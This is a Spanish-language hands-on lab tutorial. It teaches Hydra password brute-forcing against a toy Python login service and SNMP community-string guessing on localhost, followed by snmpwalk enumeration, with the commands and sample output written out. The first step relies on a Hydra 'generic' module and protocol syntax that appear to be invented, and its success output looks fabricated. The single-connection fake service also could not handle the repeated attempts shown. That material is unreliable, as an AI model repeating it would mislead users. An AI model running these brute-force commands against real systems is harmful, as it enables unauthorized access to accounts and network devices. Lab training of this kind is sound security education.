Probar Hydra con protocolos no soportados

HydraHydraBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderá cómo utilizar Hydra para probar la seguridad de servicios, incluso aquellos con protocolos no admitidos. El laboratorio comienza simulando un ataque a un servicio ficticio implementado con un script de Python, lo que le permite comprender la funcionalidad básica de Hydra.

Creará un servicio simple basado en Python que requiera un nombre de usuario y una contraseña, junto con las listas correspondientes de nombres de usuario y contraseñas para que las utilice Hydra. Luego, el laboratorio lo guiará a través del intento de ataque a este servicio, la revisión de posibles errores y la exploración de cómo atacar un servicio SNMP, y finalmente confirmará el resultado del ataque SNMP.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/target_ip("Target IP Specification") hydra/HydraGroup -.-> hydra/target_service("Target Service Selection") hydra/HydraGroup -.-> hydra/verbose_mode("Verbose Mode Usage") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") hydra/HydraGroup -.-> hydra/error_handling("Error Message Handling") hydra/HydraGroup -.-> hydra/troubleshooting("Basic Troubleshooting") subgraph Lab Skills hydra/single_username -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} hydra/single_password -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} hydra/target_ip -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} hydra/target_service -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} hydra/verbose_mode -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} hydra/success_detection -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} hydra/error_handling -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} hydra/troubleshooting -.-> lab-550775{{"Probar Hydra con protocolos no soportados"}} end

Intentar un ataque en un servicio ficticio

En este paso, simularemos un ataque en un servicio ficticio utilizando Hydra. Esto le ayudará a entender cómo funciona Hydra y cómo usarlo para descifrar contraseñas. Comenzaremos con un escenario simple para familiarizarlo con la herramienta.

Primero, creemos un "servicio" simple que requiera un nombre de usuario y una contraseña. Utilizaremos un simple script de Python para este propósito.

Navegue hasta el directorio de su proyecto:

cd ~/project

Cree un archivo llamado fake_service.py:

nano fake_service.py

Pegue el siguiente código de Python en el archivo fake_service.py:

#!/usr/bin/env python3

import socket
import sys

HOST = '127.0.0.1'  ## Standard loopback interface address (localhost)
PORT = 65432        ## Port to listen on (non-privileged ports are > 1023)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print(f"Connected by {addr}")
        username = conn.recv(1024).decode().strip()
        password = conn.recv(1024).decode().strip()

        if username == 'testuser' and password == 'password123':
            conn.sendall(b"Login successful!")
        else:
            conn.sendall(b"Login failed.")

Guarde el archivo y salga del editor. Haga el script ejecutable:

chmod +x fake_service.py

Ahora, ejecute el servicio ficticio en segundo plano:

./fake_service.py &

Esto inicia el script de Python, que escucha conexiones en el puerto 65432. El & coloca el proceso en segundo plano.

A continuación, creemos una lista de nombres de usuario y contraseñas para que las utilice Hydra. Cree un archivo llamado users.txt:

nano users.txt

Agregue el siguiente nombre de usuario al archivo:

testuser

Guarde el archivo y salga del editor.

Cree un archivo llamado passwords.txt:

nano passwords.txt

Agregue las siguientes contraseñas al archivo:

password
password123
wrongpassword

Guarde el archivo y salga del editor.

Ahora, usemos Hydra para atacar nuestro servicio ficticio. Utilizaremos el módulo generic ya que hemos creado un servicio personalizado.

hydra -l testuser -P passwords.txt 127.0.0.1 generic "USER <USER> PASS <PASS> RET Login successful!" -s 65432 -vV

Desglosemos este comando:

  • hydra: El comando de Hydra.
  • -l testuser: Especifica el nombre de usuario a utilizar. En este ejemplo, estamos utilizando un solo nombre de usuario.
  • -P passwords.txt: Especifica el archivo de lista de contraseñas.
  • 127.0.0.1: La dirección IP de destino (en este caso, localhost).
  • generic: Especifica el módulo genérico, que nos permite definir el protocolo.
  • "USER <USER> PASS <PASS> RET Login successful!": Esta es la definición del protocolo. <USER> y <PASS> son marcadores de posición que Hydra reemplaza con el nombre de usuario y la contraseña de las listas. RET Login successful! le dice a Hydra que busque "Login successful!" en la respuesta para determinar un inicio de sesión exitoso.
  • -s 65432: Especifica el número de puerto.
  • -vV: Modo detallado, que muestra los intentos en tiempo real.

Debería ver a Hydra intentando diferentes contraseñas. Después de unos segundos, debería encontrar la contraseña correcta:

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:30:00
[DATA] 1 task/1 service (1 connection per task, 1 thread per task)
[DATA] attacking service 127.0.0.1 on port 65432
[DATA] testing user: 'testuser'   password: 'password'
[DATA] testing user: 'testuser'   password: 'password123'
[65432] [generic] host: 127.0.0.1   login: testuser   password: password123
Hydra is finishing at 2024-10-27 14:30:02 after 00:00:02
1 task completed, 1 valid password found

Esta salida muestra que Hydra encontró con éxito la contraseña password123 para el usuario testuser.

Finalmente, detengamos el servicio ficticio. Primero, encuentre su ID de proceso:

ps aux | grep fake_service.py

Verá una línea similar a esta:

labex     1234  0.1  0.2  12345  6789 pts/0    Sl   14:29   0:00 ./fake_service.py

El segundo número (1234 en este ejemplo) es el ID de proceso (PID). Reemplace 1234 con el PID real de su salida.

Ahora, mate el proceso:

kill 1234

Esto detiene el servicio ficticio.

Revisar errores y servicios admitidos

En este paso, exploraremos los errores comunes que se encuentran al utilizar Hydra y aprenderemos cómo identificar los servicios admitidos. Comprender estos aspectos es crucial para un descifrado de contraseñas efectivo.

Primero, creemos intencionalmente un error con Hydra. Intentaremos atacar un servicio inexistente en un puerto alto.

hydra -l testuser -P passwords.txt 127.0.0.1 generic "USER <USER> PASS <PASS> RET Login successful!" -s 65535 -vV

Este comando es similar al que usamos en el paso anterior, pero hemos cambiado el puerto a 65535, que es poco probable que esté ejecutando ningún servicio.

Ejecute el comando. Probablemente verá un mensaje de error similar a este:

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:35:00
[ERROR] Could not connect to 127.0.0.1:65535 - Connection refused

Este error de "Conexión rechazada" indica que Hydra no pudo establecer una conexión con el puerto especificado. Esto puede deberse a varios motivos: no hay ningún servicio escuchando en ese puerto, un firewall está bloqueando la conexión o el host de destino no es alcanzable.

Ahora, exploremos cómo determinar qué servicios admite Hydra. Hydra tiene módulos integrados para muchos servicios comunes, lo que facilita atacarlos. Para ver una lista de los servicios admitidos, puede usar la opción -h:

hydra -h

Este comando mostrará un mensaje de ayuda con una lista de los módulos admitidos. Desplácese por la salida para encontrar la sección "Supported protocols" (Protocolos admitidos). Verá una lista de protocolos como ftp, ssh, smtp, http-get, mysql, snmp y muchos otros.

Por ejemplo, si desea atacar un servicio SSH, utilizaría el módulo ssh. Si desea atacar un servicio FTP, utilizaría el módulo ftp.

Intentemos otro ejemplo. Supongamos que desea atacar un servicio HTTP. Puede usar los módulos http-get o http-post, dependiendo del método de autenticación utilizado por el servidor web.

Para obtener más información sobre un módulo específico, puede usar la opción -U seguida del nombre del módulo. Por ejemplo, para obtener información sobre el módulo http-get:

hydra -U http-get

Esto mostrará las opciones y la sintaxis para usar el módulo http-get. Presta atención a los parámetros requeridos, como la URL y cualquier encabezado HTTP específico.

Comprender los mensajes de error y saber qué servicios admite Hydra es esencial para solucionar problemas y realizar ataques exitosos. En el siguiente paso, nos centraremos en atacar un servicio SNMP.

Atacar un servicio SNMP

En este paso, intentaremos descifrar la cadena de comunidad SNMP utilizando Hydra. SNMP (Simple Network Management Protocol, Protocolo Simple de Gestión de Redes) se utiliza para gestionar dispositivos de red. La cadena de comunidad actúa como una contraseña, y las cadenas de comunidad predeterminadas o débiles son una vulnerabilidad común.

Primero, creemos una lista de palabras de cadenas de comunidad SNMP comunes.

Navegue hasta el directorio de su proyecto:

cd ~/project

Cree un archivo llamado snmp_communities.txt:

nano snmp_communities.txt

Agregue las siguientes cadenas de comunidad comunes al archivo:

public
private
community
secret
admin

Guarde el archivo y salga del editor.

Ahora, usaremos Hydra para atacar el servicio SNMP. Asumiremos que el servicio SNMP está funcionando en el puerto predeterminado (161) en el localhost (127.0.0.1).

hydra -P snmp_communities.txt 127.0.0.1 snmp -vV

Desglosemos este comando:

  • hydra: El comando de Hydra.
  • -P snmp_communities.txt: Especifica el archivo de lista de contraseñas que contiene las cadenas de comunidad.
  • 127.0.0.1: La dirección IP de destino (en este caso, localhost).
  • snmp: Especifica el módulo SNMP.
  • -vV: Modo detallado, que muestra los intentos en tiempo real.

Ejecute el comando. Debería ver a Hydra intentando diferentes cadenas de comunidad. Si el servicio SNMP de destino utiliza una de las cadenas de comunidad de nuestra lista, Hydra la encontrará.

La salida podría verse así si encuentra la cadena de comunidad "public":

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:40:00
[DATA] 1 task/1 service (1 connection per task, 1 thread per task)
[DATA] attacking service 127.0.0.1 on port 161
[161] [snmp] host: 127.0.0.1 community: public
Hydra is finishing at 2024-10-27 14:40:01 after 00:00:01
1 task completed, 1 valid password found

Esta salida muestra que Hydra encontró con éxito la cadena de comunidad public.

Si Hydra no encuentra una cadena de comunidad válida, probará todas las cadenas de la lista y luego saldrá sin mostrar un inicio de sesión exitoso.

Es importante tener en cuenta que este laboratorio asume que un servicio SNMP está funcionando en el puerto predeterminado con una cadena de comunidad vulnerable. En un escenario del mundo real, tendría que identificar la dirección IP y el puerto del destino, y posiblemente utilizar una lista de palabras más completa. También podría necesitar utilizar herramientas como nmap para identificar si el servicio SNMP está funcionando y su versión.

Confirmar el resultado del ataque SNMP

En este paso, confirmaremos el resultado del ataque SNMP utilizando la cadena de comunidad descubierta para recuperar información del servicio SNMP. Utilizaremos el comando snmpwalk para este propósito.

Primero, asegúrate de tener instalado el comando snmpwalk. Forma parte del paquete snmp. Si no está instalado, puedes instalarlo con:

sudo apt update
sudo apt install snmp -y

Dado que estamos en un contenedor Docker, sudo apt update y sudo apt install snmp -y probablemente fallen. Para los fines de este laboratorio, asumiremos que snmpwalk ya está instalado.

Ahora, usemos snmpwalk para recuperar información del servicio SNMP utilizando la cadena de comunidad que (con suerte) descubrimos en el paso anterior. Supongamos que la cadena de comunidad es "public".

snmpwalk -v 1 -c public 127.0.0.1

Desglosemos este comando:

  • snmpwalk: El comando de recorrido SNMP.
  • -v 1: Especifica la versión de SNMP (versión 1 en este caso).
  • -c public: Especifica la cadena de comunidad ("public" en este ejemplo). Reemplaza "public" con la cadena de comunidad real que descubriste.
  • 127.0.0.1: La dirección IP de destino (en este caso, localhost).

Ejecuta el comando. Si la cadena de comunidad es correcta, deberías ver una gran cantidad de salida desplazándose por la pantalla. Esta salida representa la información recuperada del servicio SNMP.

La salida consistirá en líneas como esta:

SNMPv2-MIB::sysDescr.0 = STRING: Linux labex 5.15.0-86-generic #96-Ubuntu SMP Fri Oct 6 15:55:15 UTC 2023 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (145678) 0:24:16.78
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: labex
SNMPv2-MIB::sysLocation.0 = STRING:

Esta salida muestra varias informaciones del sistema, como la descripción del sistema, el ID de objeto, el tiempo de actividad, la información de contacto, el nombre del sistema y la ubicación.

Si ves un mensaje de error como "Timeout: No Response from 127.0.0.1", significa que la cadena de comunidad es incorrecta, el servicio SNMP no está en funcionamiento o hay un problema de conectividad de red. Vuelve a comprobar la cadena de comunidad y asegúrate de que el servicio SNMP esté en funcionamiento en el host de destino.

Al utilizar con éxito snmpwalk con la cadena de comunidad descubierta, has confirmado el resultado del ataque SNMP y demostrado la capacidad de recuperar información del servicio SNMP. Esto destaca la importancia de utilizar cadenas de comunidad fuertes y únicas para proteger los servicios SNMP del acceso no autorizado.

Resumen

En este laboratorio, comenzamos simulando un ataque a un servicio ficticio utilizando Hydra para entender su funcionalidad y capacidades de descifrado de contraseñas. Creamos un servicio simple basado en Python que requiere autenticación de nombre de usuario y contraseña, escuchando en el puerto 65432.

Luego, preparamos listas de nombres de usuario y contraseñas (users.txt y passwords.txt) para que Hydra las utilizara en su ataque. El servicio ficticio se inició en segundo plano, listo para recibir intentos de conexión.